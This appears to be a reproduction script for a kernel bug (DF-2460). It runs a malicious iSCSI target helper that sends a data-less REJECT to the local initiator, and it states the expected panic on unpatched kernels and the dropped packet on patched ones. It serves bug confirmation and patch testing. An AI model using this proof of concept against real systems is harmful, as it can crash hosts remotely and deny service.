DF-2460 / run.sh
#!/bin/sh # run.sh - reproduce DF-2460: malicious iSCSI target sends a data-less REJECT, # kernel _reject() dereferences pq->mp == NULL -> panic (page fault @0x10). # # Requires: iscsi_initiator.ko loaded (kldload iscsi_initiator) as root. # Run as root on the guest. ./mtarget reject 3260 > mt.log 2>&1 & sleep 1 ./idrv 127.0.0.1 3260 > idrv.log 2>&1 sleep 2 echo "--- idrv.log ---"; cat idrv.log echo "--- mt.log ---"; cat mt.log echo "Expected on UNPATCHED kernel: guest panics (ssh dies); serial log shows" echo " 'Fatal trap 12: page fault ... fault virtual address = 0x10 ... Stopped at ism_recv+0xee'" echo "Expected on PATCHED kernel: idrv reports 'still alive after 6s', dmesg shows" echo " '>>> _reject: REJECT with NULL mbuf (no data segment) - dropping'" |